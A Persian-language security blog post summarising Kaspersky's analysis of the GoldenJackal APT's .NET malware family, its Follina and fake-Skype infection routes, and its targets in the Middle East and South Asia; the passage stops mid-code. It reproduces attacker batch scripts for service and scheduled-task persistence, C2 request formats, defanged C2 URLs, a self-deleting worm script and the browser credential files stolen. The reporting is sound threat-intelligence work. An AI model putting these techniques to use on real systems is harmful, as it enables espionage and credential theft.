Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
  • مقالات

ایران یکی از قربانیان گروه هکری GoldenJackal + نمونه فایل

On خرداد 6, 1402
seyyid
Share
زمان مطالعه: 16 دقیقه

در این پست به بررسی گزارش محققای کسپرسکی ، در خصوص فعالیتها و ابزارهای دات نتی یه APT ، بنام GoldenJackal پرداختیم .

GoldenJackal یه گروه APT هستش که از سال 2019 فعالیت خودش شروع کرده و اغلب نهادهای دولتی و دیپلماتیک در خاورمیانه و جنوب آسیا رو هدف قرار میده. با اینکه این گروه چندین ساله فعالیت خودش شروع کرده، اما گزارشهای زیادی در خصوصش منتشر نشده و خیلی عمومی نیستش.

کسپرسکی اعلام کرده که این گروه رو ،  از اواسط 2020 تحت نظر داشته و با توجه به فعالیتهایی که انجام دادن، یه بازیگر توانا و مخفی کار هستن. ویژگی اصلی این گروه مجموعه بدافزارهای دات نتیشونه :  JackalControl و JackalWorm و JackalSteal  JackalPerInfo  و JackalScreenWatcher ، که برای اهداف زیر در نظر گرفته شده :

  • کنترل ماشین هدف
  • پخش از طریق درایورهای قابل حمل
  • استخراج فایلهای خاص از سیستم هدف
  • سرقت اعتبارنامه ها
  • جمع آوری اطلاعات از سیستم هدف
  • جمع آوری اطلاعات از فعالیت های وب قربانی
  • گرفتن عکس از دسکتاپ

با توجه به فعالیت ها و ابزارهای بازیگر، محققا معتقدن که فعالیت این گروه جاسوسی هستش.

 

روش آلوده سازی:

در طول بررسی این گروه، محققا متوجه شدن که اغلب روش آلوده سازی قربانیان، از طریق نصب کننده های جعلی skype و فایلهای word بوده.

نصب کننده جعلی Skype ، یه فایل اجرایی دات نتی بنام skype32.exe بود که 400 مگ حجم داشته و بعنوان یه dropper عمل میکرده. داخل این فایل ، تروجان JackalControl  و فایل قانونی Skype for business هستش. این روش در سال 2020 مورد استفاده قرار می گرفت.

آلودگی از طریق فایلهای Word هم از با استفاده از اکسپلویت Follina  و از طریق تکنیک remote template injection یه صفحه مخرب HTML دانلود میکرد. شکل زیر یه نمونه از فایل مخرب Word نشون میده.

 

GoldenJackal word

 

این داکیومنت اسمش Gallery of Officers Who Have Received National And Foreign Awards.docx بوده و بعنوان یه بخشنامه قانونی برای جمع آوری اطلاعات افسرانی که توسط دولت پاکستان، تجلیل میشن، توزیع شده بود. نکته ای که وجود داره، آسیب پذیری Follina در 29 می 2022 افشاء شد و این سند دو روز بعد یعنی در 1 ژوئن اصلاح شده و در 2 ژوئن برای اولین بار شناسایی شده. صفحه ای هم که دانلود می کرد از یه سایت قانونی و البته هک شده بود :

 

1
hxxps://www.pak-developers[.]net/internal_data/templates/template.html!

 

Follina GoldenJackal

 

صفحه ای هم که دانلود میکرده ، نسخه اصلاح شده PoC هستش که در مخزن گیتهاب قابل دسترسه. مهاجم مقدار متغیر IT_BrowseForFile رو به مقدار زیر تغییر داده :

 

IT_BrowseForFile GoldenJackal

اگه این کد رو دیکد کنیم، به کد زیر می رسیم :

 

GoldenJackal decode

 

فایل دانلودی، بدافزار JackalControl هستش.

روشهای دیگه آلوده سازی در دسترسی نیست اما محققا در یه موردی ، یه سیستمی رو مشاهده کردن که بازیگر از طریق ابزار psexec ، یه اسکریپت batch ، روش اجرا میکرده.

 

MS DOS
1
cmd /c "c:\windows\temp\install.bat > c:\windows\temp\output.txt"

 

این اسکریپت کارایه مختلفی میکنه، از جمله نصب Microsoft .Net Framework 4 و آلوده کردن سیستم با تروجان JackalControl  و جمع آوری اطلاعات از سیستم.

 

MS DOS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$temp\\dnf4.exe /q /norestart
tasklist
sc qc "WEvMngS"
sc stop "WEvMngS"
sc delete "WEvMngS"
sc create "WEvMngS" binpath= "\"$windir\WEvMngS.exe\" /1" displayname= "Windows
Event Manager" type= own start= auto"
sc description "WEvMngS" "Provides event-related methods that register routed
events."
sc start "WEvMngS"
schtasks /delete /f /tn "\Microsoft\Windows\Diagnosis\Event Manager"
schtasks /create /f /tn "\Microsoft\Windows\Diagnosis\Event Manager" /xml
"$temp\\sch.xml" /ru "NT AUTHORITY\SYSTEM"
sc qc "WEvMngS"
schtasks /query /v /fo list /tn "\Microsoft\Windows\Diagnosis\Event Manager"
tasklist
netstat -aon
ping -n 1 google.com
ipconfig /displaydns
netsh winhttp show proxy
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v

 

بدافزار JackalControl :

این بدافزار یه تروجان هستش که برای اجرای دستورات از پیش تعریف شده ، در سیستم قربانی مورد استفاده قرار میگیره. برای ارتباط با C2 هم از Https استفاده میکنه. دستوراتی هم که پشتیبانی میکنه:

  • دستور اجرای برنامه با آرگومانهای مختلف
  • دانلود فایل روی سیستم قربانی
  • آپلود فایل از سیستم قربانی به C2

محققا گفتن که در این چند سال، بازیگرها چندین بار این بدافزار رو بروزرسانی کردن. نمونه ای (8C1070F188AE87FBA1148A3D791F2523) که در اینجا مورد بررسی قرار گرفته مرتبط با ژانویه 2023 هستش.

تروجان میتونه بصورت فایلی اجرایی یا یه سرویس ویندوزی راه اندازی بشه. میتونه آرگومانهای زیر بگیره :

  • 0/ : بعنوان برنامه اجرا میشه و فقط یکبار با C2 ارتباط میگیره.
  • 1/ : بعنوان برنامه اجرا میشه اما بصورت دوره ای با C2 ارتباط میگیره.
  • 2/ : بعنوان یه سرویس اجرا میشه.

البته این آرگومانها در نسخه های مختلف متفاوت هستش. مثلا در برخی نسخه ها فقط دو آرگومان زیر میگیره :

  • 0/ : بعنوان یه برنامه اجرا میشه
  • 1/ : بعنوان یه سرویس اجرا میشه

همچنین نسخه های مختلف ، با روش های مختلف پرسیست هم خودشونو نصب میکردن. در این مورد آرگومانهای زیر داشتن :

  • h0/ : از طریق یه تسک scheduled task ، خودش پرسیست میکنه
  • h1/ : از طریق کلیدهای run key رجیستری خودش پرسیست میکنه.
  • h2/ : از طریق ایجاد سرویس خودش پرسیست میکنه.
  • r0/ : بعنوان یه پروسس استاندارد اجرا میشه (این آرگومان توسط تسک Task scheduler مشخص میشه.)
  • r1/ : بعنوان یه پروسس استاندارد اجرا میشه ( این آرگومان توسط مقدار کلید run key ایجاد شده مشخص میشه)
  • r2/ : بعنوان یه سرویس اجرا میشه ( این آرگومان توسط سرویس ایجاد شده، مشخص میشه)

در طول سالها بازیگران نسخه های مختلفی رو توزیع کردن، برخی شامل کدهایی برای پرسیست، برخی شامل پیکربندی هایی که سیستم رو آلوده نمی کرد و آلودگی از طریق مولفه های دیگه مانند اسکریپت های batch انجام میشد، که در بالا اشاره شد.

تروجان فعالیت خودش رو با یه BOT_ID که یه مقدار منحصربه فرد برای شناسایی قربانی هستش، شروع میکنه. این BOT_ID ترکیبی از چند مقدار از سیستم قربانی هستش :

  • یه مقدار UUID که از کوئری WMI زیر بدست میاره :

 

PowerShell
1
select * from win32_computersystemproduct

 

  • مقدار machine GUID که از کلید رجیستری زیر بدست میاره :

 

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

 

  • مقدار SerialNumber برای PHYSICALDRIVE0 ( مشخص کننده درایوهای نصب شده روی دیسک) بدست میاره :

 

PowerShell
1
select * from win32_diskdrive

 

بعد از اینکه این مقادیر بدست اومد، با استفاده از الگوریتم زیر، BOT_ID رو می سازه :

 

الگوریتم BOT_ID

 

از این BOT_ID برای مقداردهی DES key و IV استفاده میشه که، برای رمزنگاری ارتباط با C2 بکار میرن.

بدافزار با استفاده از درخواست‌های HTTP POST ارتباط برقرار می‌کنه، در اون  آرگومان‌های داده بصورت کد شده بعنوان بخشی از بدنه درخواست منتقل میشه.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /wp-includes/class-wp-network-statistics.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----2c0272b325864985abf2677460a9b07a
Accept-Language: en-GB,en;q=0.5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Host: finasteridehair[.]com
Content-Length: 154
Expect: 100-continue
------2c0272b325864985abf2677460a9b07a
Content-Disposition: form-data; name="adv"
%ENCODED_DATA%
 
------2c0272b325864985abf2677460a9b07a

 

پاسخ معتبر هم بصورت زیر هستش :

 

1
<!-- DEBUGDATA::%ENCODED_DATA% -->

 

پاسخ با base64 دیکد میشه، نتیجه یه آرایه ای از رشته هاست که دارای جدا کننده “\r\n” هستن. هر خط دوباره با base64 دیکد میشه، بعدش با DES رمزگشایی میشه و در نهایت با Gzip از حالت فشرده خارج میشه.

ساختار هر دستور هم بصورت زیر هستش :

 

ساختار دستور تروجان GoldenJackal

 

قسمت command type باید یکی از موارد زیر باشه :

  • 00 : (اجرا) اجرای برنامه دلخواه با آرگومانهای مشخص . اگه مهاجم فلگ NoWait روی False بزاره، بدافزار خروجی رو به C2 ارسال میکنه.
  • 01: (دانلود) یه فایل رو از رو سیستم میخونه و به سرور آپلود میکنه.
  • 02: (آپلود)  داده های دریافتی رو در مسیری که مهاجم گفته، ذخیره میکنه.

فیلد Command Data برای انتقال آرگومانهای دستور بکار میره و برای هر عملی ساختار متفاوتی داره :

 

ساختار Command Data

 

نتایج دستورات، بهمراه command type و command ID در یک پیام ترکیب میشن تا دستور رو منحصر به فرد کنن. این سه مقدار با GZIP فشرده، با DES رمز و با base64 کدگذاری میشن. بعدش با استفاده از کاراکتر | به BOT_ID اضافه میشه و دوباره با base64 کد میشن و با درخواست POST آپلود میشن.

برخی از نمونه ها ، سیستم رو آلوده هم میکنن. یعنی یه بدافزار رو در جای خاصی قرار میدن و اونو پرسیست هم میکنن. برای مکان بدافزار، همه ساب فولدرهای CommonApplicationData رو بدست میاره و بصورت تصادفی یه کپی از بدافزار داخلش قرار میده.

اسمی هم که انتخاب میکنه ، دایرکتوری انتخاب شده + یه مقدار استاتیک Launcher.exe هستش. مثلا :

 

1
2
Selected directory: C:\ProgramData\Windows App Certification Kit
Malware copy: "C:\ProgramData\Windows App Certification Kit\WindowsAppCertificationKitLauncher.exe"

 

اگه کپی موفقیت آمیز باشه، timestamp فایل جدید رو هم به مقداری که در فولدر انتخابی هستش، تغییر میده، اما اگه کپی موفقیت آمیز نباشه، یه فولدر دیگه انتخاب میکنه. اگه همه فولدرها جواب ندادن از یسری نام که داخل بدافزار قرار گرفتن ، استفاده میکنه :

  • Google
  • Viber
  • AdGuard
  • WinZip
  • WinRAR
  • Adobe
  • CyberLink
  • Intel

اگه این روش هم جواب نده، این روند در مسیرهای زیر اجرا میکنه :

  • ApplicationData
  • LocalApplicationData
  • Temp

پرسیست هم به یکی از سه روش زیر انجام میشه:

  • ایجاد سرویس
  • ایجاد کلید رجیستری
  • ایجاد یه تسک در scheduled task

برای نصب سرویس از ابزار Windows sc.exe استفاده میکنه :

 

PowerShell
1
2
3
4
sc create "[MALWARE_NAME_NO_EXT]" binpath= "[MALWARE_FULL_PATH]" /[ARGUMENT]"
displayname= "WORKPATH" type= own start= auto
sc description "[MALWARE_NAME_NO_EXT]" "This service keeps your installation up to date with the latest enhancements and security fixes."
sc start "[MALWARE_NAME_NO_EXT]"

 

رجیستری هم نام فایل بدون پسوند هستش و در کلید زیر ذخیره میشه :

 

1
2
3
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value name: "[MALWARE_NAME_NO_EXT]"
Value data: "[MALWARE_FULL_PATH] [ARGUMENT]"

 

روش scheduled task هم از یه XML template که در داخل بدافزار قرار داره ایجاد میشه. این فایل در همون مسیر بدافزار قرار میگیره و فقط بجای exe از xml استفاده میکنه و محتوای اون هم اصلاح میشه. بعد از نوشتن فایل XML ، با استفاده از schtasks.exe ، یه تسک ایجاد میشه :

 

1
schtasks.exe /create /f /tn "Adobe Update" /xml "C:\ProgramData\Adobe\adobeupd.xml"

 

بدافزار JackalSteal :

از این بدافزار ،برای جستجو و جمع آوری فایلهای مورد علاقه ی مهاجم و ارسال اونا به سرور C2 ،استفاده میشه. این ابزار امکان مونیتور کردن درایورهای USB و remote share ها و درایوهای موجود در سیستم هدف به مهاجم میده. ابزار امکان اجرا بصورت یه برنامه معمولی یا سرویس داره و همچنین به دلیل اینکه نمیتونه خودش پرسیست کنه، بنابراین باید توسط یه مولفه دیگه اجرا بشه.

این ابزار اجرای خودش رو ، با بررسی آرگومانهای ورودیش شروع میکنه :

 

Option توضیحات
-n یه شناسه منحصر به فرد برای پروفایل پیکربندی شده
-p مسیر دایرکتوری برای بررسی
-s حداکثر اندازه فایلهای درخواستی
-d تعداد روز از آخرین نوشتن فایل های درخواستی
-m لیستی از رشته ها که با کاما از هم جدا شدن ، برای جستجوی با استفاده از عبارات منظم در دایرکتوری پیکربندی شده
-w فاصله زمانی برحسب ثانیه بین اسکن های متوالی
-e مسیرهای حذف شده از اسکن
/0 اجرا بعنوان یه برنامه معمولی
/1 اجرا بعنوان سرویس

 

این گزینه ها باعث میشن تا مهاجم یه پروفایل برای فایلهای دلخواهش ایجاد کنه. این پروفایل شامل ، شناسه و الگو هستش که شناسه برای مشخص کردن پروفایل و الگوها هم شامل موارد زیر هستش :

 

Property Description
Path مسیرهای هدف
credentials نام کاربری و پسورد برای دسترسی به remote share
Masks قابلیت استفاده از عبارات منظم در جستجوها
MaxSize ماکزیمم اندازه فایل
Days تعداد روزهای پس از آخرین نوشتن فایل
Interval فاصله زمانی بین دو اسکن مسیر
Exclude مسیرهای حذف شده از اسکن

 

دستور زیر ، پیکربندی JackalSteal  رو نشون میده :

 

1
2
TEMP%\\setup01.exe -p all -p usb -e Windows -e \"Program Files*\" -e ProgramData -e Users\\*\\AppData -e *\\AppData -s 15 -d 30 -w 3600 -m
*.doc,*.docx,*.pdf,*.jpg,*.png,*.tif,*.tiff,*.txt,*.ppt,*.pptx,*.xls,*.xlsx -n 48df302a44c392eb

 

شناسه ای که در –n هستش معمولا همون BOT_ID هستش که توسط تروجان JackalControl ایجاد میشه.

بدافزار بعد از اینکه این آرگومانها رو پردازش کرد، اونارو بصورت XML در میاره و با DES و با استفاده از کلیدی که ،از شناسه -n می سازه، رمز میکنه و در مسیر زیر می ریزه :

 

1
%ApplicationData%\SNMP\cache\%Filename%

 

در مسیر بالا ، %Filename% ، یه GUID از MD5 ، شناسه منحصر به فردی هستش که توسط مهاجم مشخص شده.

بدافزار معمولا با آرگومانهای 0/ یا /1 و -n اجرا میشه که برای لوود پروفایل مشخص شده در مسیر بالا استفاده میشه. بعد از لوود پروفایل، Watchers اجرا میشه.

Watchers یه شی در یه کلاس به همین نام هستش ،که در یه Thread دیگه ای اجرا میشه و مکان رو براساس پارامترهای انتخابی اسکن میکنه. این پارامترها میتونن :

  • یه مسر ساده در سیستم فایل باشه
  • یه مسیر در remote share باشه
  • عبارت ALL باشه.
  • عبارت USB باشه.

اگه all انتخاب بشه، بدافزار همه درایوها رو شمارش میکنه و برای هرکدوم یه Watcher می سازه. اگه usb انتخاب بشه، بدافزار رویدادهای سیستم بررسی میکنه و اگه متوجه بشه که یه درایو usb جدید به سیستم متصل شده، یه Watcher جدید برای اون می سازه.

هربار که یه Watcher جدید ایجاد میشه، اونارو لاگ میکنه و اطلاعات از طریق درخواستهای HTTP Post به سرور C2 ارسال میشه. لاگ ها بصورت زیر ایجاد میشن :

 

1
Path: {0}{1}\r\nMasks: {2}\r\nExclude: {3}\r\nDays: {4}\r\nMaxSize: {5}\r\nInterval: {6}

 

این لاگها بصورت رمز شده و با محتوای زیر ارسال میشن :

 

1
|<AES_Key,AES_IV><Agent_id\\%yyyyMMddHHmmssfff%.log><Log content>|

 

AES_Key و AES_IV برای هر درخواستی ایجاد میشه و با یه کلیدی که داحل کد هست و با الگوریتم RSA رمز میشه. در آخر هم با GZIP فشرده میشن.

Agent_id\\Log_path.log و Log content هم با AES رمزشده و با GZIP فشرده میشن.

مسئولیت اسکن ، روی اشیای Watcher هستش. وقتی یه Watcher شروع به کار میکنه، دایرکتوری و دایرکتوریهای داخلی اونو شمارش میکنه . اسکنر میتونه حتی لینک فایلهای lnk رو هم بدست بیاره. اگه اسکنر یه فایلی رو پیدا کرد که با ویژگی های مشخص شده، (mask, days, max size, not in exclusions) ، مطابقت داشته باشه، هش فایل بدست میاره و این مقدار با یه جدول هشی که در دایرکتوری cache سیستم ذخیره شده، بررسی میکنه، اگه نباشه، اونو به این جدول اضافه میکنه و این فایل و مسیرش رو بهمون روشی که بالا گفته شد، رمز کرده و آپلود میکنه.

در این مورد پیلود رمز شده حاوی اطلاعات زیر هستش :

 

1
|<AES_Key,AES_IV><Agent_id\\Local_file_path><File content>|

 

Agent_id\\Local_file_path و File content با الگوریتم AES رمز شده و با GZIP فشرده میشن.

 

 

بدافزار JackalWorm :

این کرم برای گسترش آلودگی از درایوهای USB استفاده میکنه. این بدافزار جوری طراحی شده که امکان آلوده کردن هر سیستمی با بدافزار مدنظر رو داره.

رفتار اون براساس پروسس والد ، قابل تغییر هستش.

اگه بدافزار روی سیستمی که قبلا آلوده شده و پروسس والدش taskeng.exe یا services.exe هستش، اجرا بشه ، کارهای زیر میکنه :

  • درایوهای USB رو مونیتور میکنه.
  • اگه درایو USB جدیدی متصل بشه، last-modified دایرکتوری رو مخفی میکنه و یه کپی از خودش روش میریزه.

کدی که کار نظارت روی این درایوها رو انجام میده، همون کدی هستش که در JackalSteal استفاده شده. اینجا هم یه شی ManagementEventWatcher ایجاد میکنه و رویدادهای سیستم رو هر 5 ثانیه بررسی میکنه و اگه درایو جدید متصل شده باشه، متوجه میشه :

 

1
select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2

 

اگه درایو جدیدی به سیستم متصل شد ، خودش در اون کپی میکنه. روش کپی کردن هم اینجوریه که ، لیست دایرکتوری ها رو بدست میاره. اونی که برای آخرین بار اصلاح شده رو پیدا میکنه. خودش با همون نام و آیکون دایرکتوری ویندوز، در قسمت ریشه USB کپی میکنه و اون دایرکتوری واقعی رو مخفی میکنه. در نتیجه کاربر ، فریب میخوره و بدافزار بجای دایرکتوری اجرا میکنه و سیستم ها آلوده میشن.

 

سیستم آلوده به JackalWorm

 

اگه بدافزار در یه سیستم تمیز اجرا بشه و پروسس والد اون explorer.exe باشه و داخل یه درایو USB اجرا شده باشه، رفتارش این شکلی میشه :

  • دایرکتوری مخفی رو باز میکنه
  • کارهایی که در فایل پیکربندی هستش رو انجام میده
  • سیستم با کرم آلوده میکنه.

فایلهای پیکربندی ،بصورت embedded resources و در قالب XML هستن ،که برای اجرای برخی دستورات توسط کرم کاربرد دارند، مانند :

  • یه برنامه رو در سیستم مستقر بکنه و با scheduled task اونو پرسیست کنه.
  • یه برنامه رو در سیستم مستقر کنه و اونو با یسری آرگومان اجرا کنه.
  • یه برنامه رو با یسری آرگومان اجرا کنه.

یه فایل پیکربندی بصورت زیر هستش :

 

1
<Resource type="install" interval="15" ext="exe" data="rcdata02" />

 

در این مثال، بدافزار باید یه فایل اجرایی که در یه resource دیگه بنام rcdata02 هستش (که با بررسی متوجه شدن همون JackalControl هست) ،با پسوند exe ذخیره کنه و یه scheduled task برای اون ایجاد کنه که هر 15 دقیقه اجراش کنه.

یه مثال دیگه:

 

1
<Resource type="process" file="%WINDIR%\system32\ping.exe" args="1.1.1.1"/>

 

روش نصب هم به همون روشهای بالایی هستش و فقط دایرکتوریهای CommonAppData رو بررسی میکنه و اسم فایل هم ترکیبی از نام ساب فولدر و upd.exe هستش. اگه موفق نشه، در این مسیرها کپی کنه، از لیست زیر استفاده میکنه :

  • Google
  • Mozilla
  • Adobe
  • Intel
  • [Random GUID]

برای پرسیست هم از XML template و scheduled task استفاده میکنه. بعد از اینکه کرم خودش روی سیستم نصب کرد، با استفاده از اسکریپت batch  زیر که در دایرکتوری Temp قرار گرفته، خودش از روی درایو آلوده پاک میکنه .

 

MS DOS
1
2
3
4
5
6
7
@echo off
@chcp 65001>nul
:check
@tasklist | findstr /i "%executingFilename%" >nul
@if %errorlevel%==0 goto check
@del /f /q /a h "%executingPath%"
@del /f /q "%Temp%\%randomname%.bat"

 

با نصب کرم روی سیستم، درایوهای بعدی که به سیستم متصل میشن ، دوباره آلوده میشن و آلوگی رو پخش میکنن.

محققا با بررسی قسمت embedded .NET resources متوجه شدن که این ابزار در حال توسعه هستش. دلیلشون هم اینه که ، سایز این قسمت در کل 193973 بایته و اندازه Rcdata01 که فایل پیکربندی هست برابر 67 بایت و اندازه Rcdata02 که تروجان JackalControl هستش برابر 27136 بایت هست. بنابراین 166770 بایت، داده ناشناخته وجود داره .( 193973  – 67 + 27136 = 166770 ) . تعداد 27,184 بایت از این داده های ناشناخته رو با این مقدار از بایتهای ابتدایی Notepad.exe پر کردن و بعدش با پیکربندی های XML زیر :

 

1
<Resource type="scheduler" interval="15" ext="exe" args="" data="notepad" />

 

1
<Resource type="process" file="cmd.exe" args="/c echo TEST > %USERPROFILE%\Desktop\test.txt" />

 

در نمونه اولی از یه نوع جدیدی بنام scheduler استفاده شده، که در کدها نیستش. در دومی هم میبینیم که توسعه دهنده، در حال تست هستش. در این نمونه، با استفاده از CMD ، کلمه TEST رو در فایل test.txt می نویسه.

 

بدافزار JackalPerInfo :

این بدافزار برای جمع آوری اطلاعات از سیستم آلوده و فایلهایی که حاوی اطلاعات اعتبارنامه های ذخیره شده و فعالیتهای کاربر هستن، بکار میره. مهاجم اسم اونو perinfo گذاشته که از کلاس اصلی برنامه ، PersonalInfoContainer گرفته شده .

رفتار بدافزار برحسب تعداد آرگومانهایی که میگیره ، متغیره. اگه بدافزار با یه آرگومان اجرا بشه، فقط اطلاعاتی که از پیش براش تعریف شده رو جمع آوری میکنه و در یه فایل باینری میریزه و با GZIP فشرده اش میکنه. نام فایل هم در آرگومان بهش داده میشه. اگه بدافزار با دو آرگومان اجرا بشه، از آرگومان اول برای لوود یه باینری که قبلا ایجاد شده استفاده میکنه و از آرگومان دوم برای مشخص کردن دایرکتوری استفاده میکنه که همه اطلاعات در داخلش میریزه.

بطور پیش فرض، برنامه با یه آرگومان اجرا میشه، و بعد اجرا با استفاده از یه تابع بنام GetSysInfo ، اطلاعات سیستم جمع آوری میکنه :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Computer name: %s
OS version: %S
Domain: %S
User: %S
Local time: %s
Interfaces:
%Interface Name%
 
    DESC:
    TYPE:
    MAC:
    IP:
    GW:
    DNS:
    DHCP:
    DOMAIN:
Remote IP:
Current directory:
Drives:
    C:\ Fixed
    D:\ CDRom
...
Applications:
    %Installed Application1%
    %Installed Application2%
...
Processes:
    %Process Name 1%
        Desc: %s
        Name: %s
        Path: %s
    %Process Name 2%
...

 

این تابع در نسخه های اولیه JackalControl هم بوده ، اما در نسخه های بعدی حذف شده.

بدافزار بعدش درایوهای روی دیسک شمارش میکنه و برای هر کدوم فایلهای موجود در مسیر root رو شمارش میکنه . اطلاعاتی که جمع آوری میکنه شامل نام فایل، زمان آخرین نوشتن و اندازه فایل هستش.

بعدش میره سراغ این دایرکتوری C:\Users\ و برای هر کاربر ، محتویات دایرکتوریهای زیر رو شمارش میکنه :

  • Desktop
  • Documents
  • Downloads
  • AppData\Roaming\Microsoft\Windows\Recent

همچنین فایلهای زیر هم جمع اوری میکنه :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Desktop\*.txt
Documents\*.txt
AppData\Local\Microsoft\Windows\WebCache\*.log
AppData\Roaming\Microsoft\Windows\Cookies\*.txt
AppData\Local\Google\Chrome\User Data\*\Bookmarks
AppData\Local\Google\Chrome\User Data\*\Cookies
AppData\Local\Google\Chrome\User Data\*\History
AppData\Local\Google\Chrome\User Data\*\Login Data
AppData\Local\Google\Chrome\User Data\*\Shortcuts
AppData\Local\Google\Chrome\User Data\*\Web Data
AppData\Roaming\Opera\Opera\*\bookmarks.adr
AppData\Roaming\Opera\Opera\*\global_history.dat
AppData\Roaming\Mozilla\Firefox\Profiles\*\places.sqlite
AppData\Roaming\Mozilla\Firefox\Profiles\*\cookies.sqlite
AppData\Roaming\Mozilla\Firefox\Profiles\*\formhistory.sqlite

 

بدافزار کوکی ها و اعتبارنامه های ذخیره شده در مرورگرها رو هم میدزده. در نهایت همه اطلاعات به قالب باینری تبدیل میکنه و با الگوریتم GZIP  فشرده کرده و در فایلی که توسط آرگومان اول مشخص شده بود، میریزه.

 

بدافزار JackalScreenWatcher :

این ابزار برای گرفتن اسکرین شات از دسکتاپ قربانی ، توسعه داده شده و تصاویر به سرور C2 که در بدافزار هاردکد شده ، می فرسته :

 

1
hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php

 

این آدرس در بدافزار JackalSteal هم استفاده شده بود که نشون دهنده اینه که این ابزارها احتمالا قسمتی از یه فریمورک هستن.

این بدافزار هم میتونه یسری آرگومان بگیره :

  • r- : رزولیشن که بصورت پیش فرض 1.0
  • i- :  فاصله زمانی که بصورت پیش فرض 10 ثانیه هستش
  • n- : مشخص کننده شناسه هدف که بصورت پیش فرض ،مقدارش برابر %Hostname%\%Username% .

عملکرد برنامه هم اینجوریه که ، یه Thread اجرا میکنه و تمام نمایشگرهای سیستم رو اسکن و ابعاد اونارو بدست میاره. بعدش یه حلقه بی نهایت ایجاد میکنه و بصورت دوره ای بررسی میکنه که آیا کاربر فعال هست یا خیر. اگه فعال باشه، اسکرین شات میگیره و به سرور C2 ارسال میکنه.

فعال بودن کاربر هم از طریق حرکت نشانگر ماوس بدست میاد. موقعیت جدید رو با موقعیت قبلی بررسی میکنه، اگه متفاوت بود یعنی کاربر فعاله. بعد از اینکه اسکرین شات رو اپلود کرد، قبل از اینکه دوباره حلقه بی نهایت ایجاد کنه، یه زمان مشخص رو، مکث میکنه.

اسکرین شاتها رمز شده و در درخواست HTTP ارسال میشن. این داده های رمز شده مانند JackalSteal هستن و شامل اطلاعات زیر هستن :

 

1
|<AES_Key,AES_IV><Remote filename><Screenshot>|

 

AES_Key و AES_IV با استفاده از RSA و کلید تعبیه شده در کد، رمز میشن و پیلود با الگوریتم GZIP فشرده میشه. Remote filename و Screenshot با AES رمز و با GZIP فشرده میشن. کلید RSA همون مقداری هست که در JackalSteal مشاهده کردیم.

 

زیرساخت:

گروه GoldenJackal با هک کردن سایتهای وردپرسی و آپلود یه فایل PHP ، از اونا بعنوان رله برای سرورهای C2شون استفاده میکنه. این سایتهای وردپرسی هم اغلب از نسخه های منسوخ یا موارد آسیب پذیر استفاده میکنن، بنابراین محققا ارزیابی کردن که هک اونا از طریق آسیب پذیری های شناخته شده هستش و پای زیرودی در وسط نیست. یکی از سایتهای هک شده، یه سایت ایرانی بوده.

صفحه وب یه صفحه جعلی Not Found رو نشون میده، کد وضعیت اون 200 هستش اما بدنه HTTP اون، Not Found رو نمایش میده.

 

1
2
3
4
5
6
7
8
9
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">          
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL %FILE PATH% was not found on this server.</p>
<hr>
<address>%SERVER%</address>
</body></html>

 

در برخی موارد هم پاسخ با یسری لیست از دستورات ارائه میشه. در این موارد بدنه قبلی با لیستی از \r\n و در انتها یه جداکننده که قبلا مشاهده کردیم ، ارائه میشن :

 

1
<!-- DEBUGDATA::%ENCODED_DATA% -->

 

قربانی ها:

محققا اعلام کردن که در این سالها، تعداد محدوی حمله از بازیگر علیه دولت و نهادهای دیپلماتیک در خاورمیانه و جنوب آسیا از جمله ایران، آذربایجان، افغانستان ، عراق ، پاکستان و ترکیه مشاهده کردن.

 

آنالیز گروه هکری GoldenJackal APT

 

انتساب:

محققا اعلام کردن که این گروه ، نمیتونن به بازیگر شناخته شده ای نسبت بدن. اما در طول تحقیق متوجه شباهتهایی بین GoldenJackal و Turla شدن. این شباهت در الگوریتم تولید UID قربانی هستش که شباهت هایی با الگوریتم استفاده شده در Kazuar داره.

Kazuar، هش MD5 یه رشته از پیش تعریف شده رو میگیره ، بعدش با یه seed منحصر به فرد 4 بایتی از دستگاه قربانی، XOR میکنه. seed از شماره سریال volume ای که ویندوز روش نصب شده بدست میاد.

 

C
1
2
3
4
5
6
7
8
9
10
public static Guid md5_plus_xor(string string_0) {
